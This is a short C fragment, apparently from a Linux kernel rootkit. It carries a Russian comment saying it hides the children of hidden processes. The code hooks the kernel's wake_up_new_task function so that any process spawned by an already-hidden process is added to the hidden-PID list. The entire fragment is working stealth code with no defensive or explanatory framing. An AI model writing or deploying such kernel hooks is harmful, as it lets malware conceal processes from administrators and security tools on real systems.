// прячем детей скрытых процессов
DEFINE_HOOK_C(void, wake_up_new_task, (struct task_struct *p),
{
if (likely(current->real_parent)) {
rcu_read_lock();
pid_t ppid = task_tgid_vnr(current->real_parent);
rcu_read_unlock();
pid_t pid = task_tgid_vnr(p);
if (find_pid(ppid) == ppid && find_pid(pid) < 0) {
add_pid(pid);
}
}
return wake_up_new_task(p);
});